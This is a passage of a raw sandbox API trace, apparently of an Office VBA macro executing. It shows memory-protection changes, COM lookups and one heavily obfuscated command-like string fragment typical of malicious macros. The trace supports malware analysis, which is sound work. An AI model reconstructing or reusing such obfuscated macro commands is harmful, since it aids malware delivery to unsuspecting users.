() returned 0xffffffffffffffff [0081.603] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244539, dwSize=0x8) returned 1 [0081.603] GetCurrentProcess () returned 0xffffffffffffffff [0081.603] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244538, dwSize=0x8) returned 1 [0081.603] GetCurrentProcess () returned 0xffffffffffffffff [0081.603] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244548, dwSize=0x2) returned 1 [0081.603] GetCurrentProcess () returned 0xffffffffffffffff [0081.603] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724459c, dwSize=0x4d) returned 1 [0081.603] VirtualProtect (in: lpAddress=0x724459c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c8cc | out: lpflOldProtect=0x27c8cc*=0x40) returned 1 [0081.603] GetCurrentProcess () returned 0xffffffffffffffff [0081.603] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245231, dwSize=0x8) returned 1 [0081.603] GetCurrentProcess () returned 0xffffffffffffffff [0081.603] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245230, dwSize=0x8) returned 1 [0081.604] GetCurrentProcess () returned 0xffffffffffffffff [0081.604] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245240, dwSize=0x2) returned 1 [0081.604] GetCurrentProcess () returned 0xffffffffffffffff [0081.604] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245294, dwSize=0x4d) returned 1 [0081.604] VirtualProtect (in: lpAddress=0x7245294, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c8cc | out: lpflOldProtect=0x27c8cc*=0x40) returned 1 [0081.604] GetCurrentProcess () returned 0xffffffffffffffff [0081.604] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245319, dwSize=0x8) returned 1 [0081.604] GetCurrentProcess () returned 0xffffffffffffffff [0081.604] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245318, dwSize=0x8) returned 1 [0081.604] GetCurrentProcess () returned 0xffffffffffffffff [0081.604] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245328, dwSize=0x2) returned 1 [0081.604] GetCurrentProcess () returned 0xffffffffffffffff [0081.604] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724537c, dwSize=0x45) returned 1 [0081.604] VirtualProtect (in: lpAddress=0x724537c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27c8cc | out: lpflOldProtect=0x27c8cc*=0x40) returned 1 [0081.604] GetCurrentProcess () returned 0xffffffffffffffff [0081.604] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242d3c, dwSize=0x45) returned 1 [0081.604] VirtualProtect (in: lpAddress=0x7242d3c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27c8cc | out: lpflOldProtect=0x27c8cc*=0x40) returned 1 [0081.604] GetCurrentProcess () returned 0xffffffffffffffff [0081.604] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242db9, dwSize=0x8) returned 1 [0081.604] GetCurrentProcess () returned 0xffffffffffffffff [0081.604] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242db8, dwSize=0x8) returned 1 [0081.604] GetCurrentProcess () returned 0xffffffffffffffff [0081.604] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242dc8, dwSize=0x2) returned 1 [0081.604] GetCurrentProcess () returned 0xffffffffffffffff [0081.604] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242e1c, dwSize=0x4d) returned 1 [0081.604] VirtualProtect (in: lpAddress=0x7242e1c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c8cc | out: lpflOldProtect=0x27c8cc*=0x40) returned 1 [0081.604] GetCurrentProcess () returned 0xffffffffffffffff [0081.605] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72456dc, dwSize=0x4c) returned 1 [0081.605] RtlLookupFunctionEntry (in: ControlPc=0x72456dc, ImageBase=0x27c7b8, HistoryTable=0x27c7c0 | out: ImageBase=0x27c7b8, HistoryTable=0x27c7c0) returned 0x0 [0081.605] VirtualProtect (in: lpAddress=0x72456dc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c8bc | out: lpflOldProtect=0x27c8bc*=0x40) returned 1 [0081.605] RtlAddFunctionTable (FunctionTable=0x7245738, EntryCount=0x1, BaseAddress=0x7245600, TargetGp=0x27c8bc) returned 1 [0081.605] SetErrorMode (uMode=0x8001) returned 0x8001 [0081.605] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0081.605] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5a60000 [0081.606] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001af6100000cbe) returned 1 [0081.606] SetErrorMode (uMode=0x8001) returned 0x8001 [0081.606] GetProcAddress (hModule=0x7fee5a60000, lpProcName=0x258) returned 0x7fee5b64ee0 [0081.606] GetCurrentProcess () returned 0xffffffffffffffff [0081.606] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72457cc, dwSize=0x43) returned 1 [0081.606] RtlLookupFunctionEntry (in: ControlPc=0x72457cc, ImageBase=0x27c758, HistoryTable=0x27c760 | out: ImageBase=0x27c758, HistoryTable=0x27c760) returned 0x0 [0081.606] VirtualProtect (in: lpAddress=0x72457cc, dwSize=0x44, flNewProtect=0x40, lpflOldProtect=0x27c85c | out: lpflOldProtect=0x27c85c*=0x40) returned 1 [0081.606] RtlAddFunctionTable (FunctionTable=0x724581c, EntryCount=0x1, BaseAddress=0x7245700, TargetGp=0x27c85c) returned 1 [0081.606] IUnknown:AddRef (This=0xb3e3718) returned 0x3 [0081.607] IUnknown:QueryInterface (in: This=0xb3e3718, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27dc88 | out: ppvObject=0x27dc88*=0x0) returned 0x80004002 [0081.607] IUnknown:QueryInterface (in: This=0xb3e3718, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27dc80 | out: ppvObject=0x27dc80*=0x0) returned 0x80004002 [0081.607] IUnknown:Release (This=0xb3e3718) returned 0x2 [0081.607] IUnknown:AddRef (This=0xb3e3770) returned 0x6 [0081.607] IUnknown:QueryInterface (in: This=0xb3e3770, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27dc88 | out: ppvObject=0x27dc88*=0x0) returned 0x80004002 [0081.607] IUnknown:QueryInterface (in: This=0xb3e3770, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27dc80 | out: ppvObject=0x27dc80*=0x0) returned 0x80004002 [0081.607] IUnknown:Release (This=0xb3e3770) returned 0x5 [0081.607] IUnknown:AddRef (This=0xb3e3668) returned 0x2 [0081.607] IUnknown:QueryInterface (in: This=0xb3e3668, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27dc88 | out: ppvObject=0x27dc88*=0x0) returned 0x80004002 [0081.607] IUnknown:QueryInterface (in: This=0xb3e3668, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27dc80 | out: ppvObject=0x27dc80*=0x0) returned 0x80004002 [0081.607] IUnknown:Release (This=0xb3e3668) returned 0x1 [0081.607] IUnknown:AddRef (This=0xb3fb1f8) returned 0x3 [0081.607] IUnknown:QueryInterface (in: This=0xb3fb1f8, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27dc88 | out: ppvObject=0x27dc88*=0x0) returned 0x80004002 [0081.607] IUnknown:QueryInterface (in: This=0xb3fb1f8, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27dc80 | out: ppvObject=0x27dc80*=0x0) returned 0x80004002 [0081.607] IUnknown:Release (This=0xb3fb1f8) returned 0x2 [0081.607] GetAsyncKeyState (vKey=27) returned 0 [0081.607] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xb613880 [0081.609] IMalloc:Realloc (This=0x7feffc15380, pv=0xb583a00, cb=0x1000) returned 0x760a770 [0081.609] IUnknown:AddRef (This=0xb3e3668) returned 0x2 [0081.609] IUnknown:Release (This=0xb3e3668) returned 0x1 [0081.609] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x7395dd0 [0081.609] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.609] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.609] GetCurrentProcess () returned 0xffffffffffffffff [0081.609] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7395dd0, dwSize=0x4c) returned 1 [0081.609] IMalloc:Free (This=0x7feffc15380, pv=0x7395dd0) [0081.610] IMalloc:Alloc (This=0x7feffc15380, cb=0x6b8) returned 0xb5fec30 [0081.610] IMalloc:Realloc (This=0x7feffc15380, pv=0xb613880, cb=0xb8) returned 0xb613880 [0081.610] IMalloc:Free (This=0x7feffc15380, pv=0xb07a650) [0081.610] GetCurrentProcess () returned 0xffffffffffffffff [0081.610] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245231, dwSize=0x8) returned 1 [0081.610] GetCurrentProcess () returned 0xffffffffffffffff [0081.610] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245230, dwSize=0x8) returned 1 [0081.610] GetCurrentProcess () returned 0xffffffffffffffff [0081.610] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b59, dwSize=0x8) returned 1 [0081.610] GetCurrentProcess () returned 0xffffffffffffffff [0081.610] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b58, dwSize=0x8) returned 1 [0081.610] GetCurrentProcess () returned 0xffffffffffffffff [0081.610] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b68, dwSize=0x2) returned 1 [0081.610] GetCurrentProcess () returned 0xffffffffffffffff [0081.610] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6bbc, dwSize=0x4d) returned 1 [0081.610] VirtualProtect (in: lpAddress=0x75e6bbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.610] GetCurrentProcess () returned 0xffffffffffffffff [0081.610] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244201, dwSize=0x8) returned 1 [0081.611] GetCurrentProcess () returned 0xffffffffffffffff [0081.611] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244200, dwSize=0x8) returned 1 [0081.611] GetCurrentProcess () returned 0xffffffffffffffff [0081.611] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244210, dwSize=0x2) returned 1 [0081.611] GetCurrentProcess () returned 0xffffffffffffffff [0081.611] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244264, dwSize=0x4d) returned 1 [0081.611] VirtualProtect (in: lpAddress=0x7244264, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.611] GetCurrentProcess () returned 0xffffffffffffffff [0081.611] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442e9, dwSize=0x8) returned 1 [0081.611] GetCurrentProcess () returned 0xffffffffffffffff [0081.611] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442e8, dwSize=0x8) returned 1 [0081.611] GetCurrentProcess () returned 0xffffffffffffffff [0081.611] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442f8, dwSize=0x2) returned 1 [0081.611] GetCurrentProcess () returned 0xffffffffffffffff [0081.611] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724434c, dwSize=0x45) returned 1 [0081.611] VirtualProtect (in: lpAddress=0x724434c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.611] GetCurrentProcess () returned 0xffffffffffffffff [0081.611] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244451, dwSize=0x8) returned 1 [0081.611] GetCurrentProcess () returned 0xffffffffffffffff [0081.611] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244450, dwSize=0x8) returned 1 [0081.611] GetCurrentProcess () returned 0xffffffffffffffff [0081.611] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244460, dwSize=0x2) returned 1 [0081.611] GetCurrentProcess () returned 0xffffffffffffffff [0081.611] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72444b4, dwSize=0x4d) returned 1 [0081.611] VirtualProtect (in: lpAddress=0x72444b4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.611] GetCurrentProcess () returned 0xffffffffffffffff [0081.611] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244539, dwSize=0x8) returned 1 [0081.611] GetCurrentProcess () returned 0xffffffffffffffff [0081.611] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244538, dwSize=0x8) returned 1 [0081.612] GetCurrentProcess () returned 0xffffffffffffffff [0081.612] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244548, dwSize=0x2) returned 1 [0081.612] GetCurrentProcess () returned 0xffffffffffffffff [0081.612] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724459c, dwSize=0x4d) returned 1 [0081.612] VirtualProtect (in: lpAddress=0x724459c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.612] GetCurrentProcess () returned 0xffffffffffffffff [0081.612] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245231, dwSize=0x8) returned 1 [0081.612] GetCurrentProcess () returned 0xffffffffffffffff [0081.612] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245230, dwSize=0x8) returned 1 [0081.612] GetCurrentProcess () returned 0xffffffffffffffff [0081.612] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245240, dwSize=0x2) returned 1 [0081.612] GetCurrentProcess () returned 0xffffffffffffffff [0081.612] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245294, dwSize=0x4d) returned 1 [0081.612] VirtualProtect (in: lpAddress=0x7245294, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.612] GetCurrentProcess () returned 0xffffffffffffffff [0081.612] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245319, dwSize=0x8) returned 1 [0081.612] GetCurrentProcess () returned 0xffffffffffffffff [0081.612] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245318, dwSize=0x8) returned 1 [0081.612] GetCurrentProcess () returned 0xffffffffffffffff [0081.612] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245328, dwSize=0x2) returned 1 [0081.612] GetCurrentProcess () returned 0xffffffffffffffff [0081.612] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724537c, dwSize=0x45) returned 1 [0081.612] VirtualProtect (in: lpAddress=0x724537c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.612] GetCurrentProcess () returned 0xffffffffffffffff [0081.612] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242d3c, dwSize=0x45) returned 1 [0081.612] VirtualProtect (in: lpAddress=0x7242d3c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.612] GetCurrentProcess () returned 0xffffffffffffffff [0081.612] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242db9, dwSize=0x8) returned 1 [0081.612] GetCurrentProcess () returned 0xffffffffffffffff [0081.613] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242db8, dwSize=0x8) returned 1 [0081.613] GetCurrentProcess () returned 0xffffffffffffffff [0081.613] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242dc8, dwSize=0x2) returned 1 [0081.613] GetCurrentProcess () returned 0xffffffffffffffff [0081.613] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242e1c, dwSize=0x4d) returned 1 [0081.613] VirtualProtect (in: lpAddress=0x7242e1c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.613] IUnknown:AddRef (This=0xb3e3718) returned 0x3 [0081.613] IUnknown:QueryInterface (in: This=0xb3e3718, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db28 | out: ppvObject=0x27db28*=0x0) returned 0x80004002 [0081.613] IUnknown:QueryInterface (in: This=0xb3e3718, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db20 | out: ppvObject=0x27db20*=0x0) returned 0x80004002 [0081.613] IUnknown:Release (This=0xb3e3718) returned 0x2 [0081.613] IUnknown:AddRef (This=0xb3e3770) returned 0x6 [0081.613] IUnknown:QueryInterface (in: This=0xb3e3770, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db28 | out: ppvObject=0x27db28*=0x0) returned 0x80004002 [0081.613] IUnknown:QueryInterface (in: This=0xb3e3770, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db20 | out: ppvObject=0x27db20*=0x0) returned 0x80004002 [0081.613] IUnknown:Release (This=0xb3e3770) returned 0x5 [0081.613] IUnknown:AddRef (This=0xb3e3668) returned 0x2 [0081.613] IUnknown:QueryInterface (in: This=0xb3e3668, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db28 | out: ppvObject=0x27db28*=0x0) returned 0x80004002 [0081.613] IUnknown:QueryInterface (in: This=0xb3e3668, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db20 | out: ppvObject=0x27db20*=0x0) returned 0x80004002 [0081.613] IUnknown:Release (This=0xb3e3668) returned 0x1 [0081.613] IUnknown:AddRef (This=0xb3fb1f8) returned 0x3 [0081.613] IUnknown:QueryInterface (in: This=0xb3fb1f8, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db28 | out: ppvObject=0x27db28*=0x0) returned 0x80004002 [0081.613] IUnknown:QueryInterface (in: This=0xb3fb1f8, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db20 | out: ppvObject=0x27db20*=0x0) returned 0x80004002 [0081.613] IUnknown:Release (This=0xb3fb1f8) returned 0x2 [0081.613] GetAsyncKeyState (vKey=27) returned 0 [0081.615] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xb613950 [0081.615] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x7245440 [0081.615] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb6109f2, cbMultiByte=3, lpWideCharStr=0x7f502d6, cchWideChar=8 | out: lpWideCharStr="P$d") returned 3 [0081.615] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb6109fc, cbMultiByte=111, lpWideCharStr=0x7f503a2, cchWideChar=224 | out: lpWideCharStr="A$ta:~-7$,1% \" , (S$e^T$ j1=^E$w-ob$je^$$ct $I^o$$.c^$$OM$$p)& (^s$ET$ ^ ^J^F$^O6=G^('VZ$Bba8^IwGI$b/^Sp$A^O^E") returned 111 [0081.615] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb610a78, cbMultiByte=0, lpWideCharStr=0x7f5071e, cchWideChar=2 | out: lpWideCharStr="") returned 0 [0081.615] IUnknown:AddRef (This=0xb3e3718) returned 0x3 [0081.615] IUnknown:QueryInterface (in: This=0xb3e3718, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c428 | out: ppvObject=0x27c428*=0x0) returned 0x80004002 [0081.615] ITypeInfo:RemoteGetTypeAttr (in: This=0xb3e3718, ppTypeAttr=0x27c408, pDummy=0x10 | out: ppTypeAttr=0x27c408, pDummy=0x10) returned 0x0 [0081.615] ITypeInfo:LocalReleaseTypeAttr (This=0xb3e3718) returned 0x0 [0081.615] IUnknown:AddRef (This=0xb3e3718) returned 0x4 [0081.615] IUnknown:Release (This=0xb3e3718) returned 0x3 [0081.615] IUnknown:Release (This=0xb3e3718) returned 0x2 [0081.615] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762cae, cbMultiByte=8, lpWideCharStr=0x27c3f0, cchWideChar=9 | out: lpWideCharStr="Replace") returned 8 [0081.615] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762cae, cbMultiByte=8, lpWideCharStr=0x27c430, cchWideChar=9 | out: lpWideCharStr="Replace") returned 8 [0081.615] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Replace", lHashVal=0x100e66, wFlags=0x3, ppTInfo=0x27c3e8, pDescKind=0x27c3fc, ppFuncDesc=0x27c400, ppVarDesc=0xb3b2820, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x27c3e8*=0xb3fb2a8, pDescKind=0x27c3fc*=1, ppFuncDesc=0x27c400, ppVarDesc=0xb3b2820, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0081.616] ITypeInfo:RemoteGetTypeAttr (in: This=0xb3fb2a8, ppTypeAttr=0x27c3f0, pDummy=0x1 | out: ppTypeAttr=0x27c3f0, pDummy=0x1) returned 0x0 [0081.616] ITypeInfo:LocalReleaseTypeAttr (This=0xb3fb2a8) returned 0x0 [0081.616] ITypeInfo:GetRefTypeInfo (in: This=0xb3fb2a8, hreftype=0x480, ppTInfo=0x27c128 | out: ppTInfo=0x27c128*=0xb3fb300) returned 0x0 [0081.616] IUnknown:QueryInterface (in: This=0xb3fb300, riid=0x7fee5e10b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c2f8 | out: ppvObject=0x27c2f8*=0x0) returned 0x80004002 [0081.616] ITypeInfo:RemoteGetTypeAttr (in: This=0xb3fb300, ppTypeAttr=0x27c178, pDummy=0x10 | out: ppTypeAttr=0x27c178, pDummy=0x10) returned 0x0 [0081.616] ITypeInfo:LocalReleaseTypeAttr (This=0xb3fb300) returned 0x0 [0081.616] IUnknown:QueryInterface (in: This=0xb3fb300, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27be80 | out: ppvObject=0x27be80*=0x0) returned 0x80004002 [0081.616] IUnknown:QueryInterface (in: This=0xb3fb300, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27be70 | out: ppvObject=0x27be70*=0x0) returned 0x80004002 [0081.616] IUnknown:QueryInterface (in: This=0xb3fb300, riid=0x7fee5e10b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27be78 | out: ppvObject=0x27be78*=0x0) returned 0x80004002 [0081.616] ITypeInfo:RemoteGetTypeAttr (in: This=0xb3fb300, ppTypeAttr=0x27bea8, pDummy=0x10 | out: ppTypeAttr=0x27bea8, pDummy=0x10) returned 0x0 [0081.616] ITypeInfo:LocalReleaseTypeAttr (This=0xb3fb300) returned 0x0 [0081.616] IUnknown:AddRef (This=0xb3fb300) returned 0x2 [0081.616] IUnknown:QueryInterface (in: This=0xb3fb300, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c020 | out: ppvObject=0x27c020*=0x0) returned 0x80004002 [0081.616] IUnknown:QueryInterface (in: This=0xb3fb300, riid=0x7fee5e10b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c018 | out: ppvObject=0x27c018*=0x0) returned 0x80004002 [0081.616] IUnknown:Release (This=0xb3fb300) returned 0x1 [0081.616] IMalloc:Realloc (This=0x7feffc15380, pv=0xb5af250, cb=0x200) returned 0xb4b2da0 [0081.616] IUnknown:QueryInterface (in: This=0xb3fb2a8, riid=0x7fee5e040f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x27c190 | out: ppvObject=0x27c190*=0xb3fb2a8) returned 0x0 [0081.616] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xb3fb2a8, memid=1610612785, invkind=1, pFuncIndex=0x27c188 | out: pFuncIndex=0x27c188*=0x31) returned 0x0 [0081.616] ITypeInfo2:GetParamCustData (in: This=0xb3fb2a8, indexFunc=0x31, indexParam=0x3, GUID=0x7fee5e14e80*(Data1=0x270d72b0, Data2=0xffb8, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xbd, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x26, [7]=0xee)), pVarVal=0x27c198 | out: 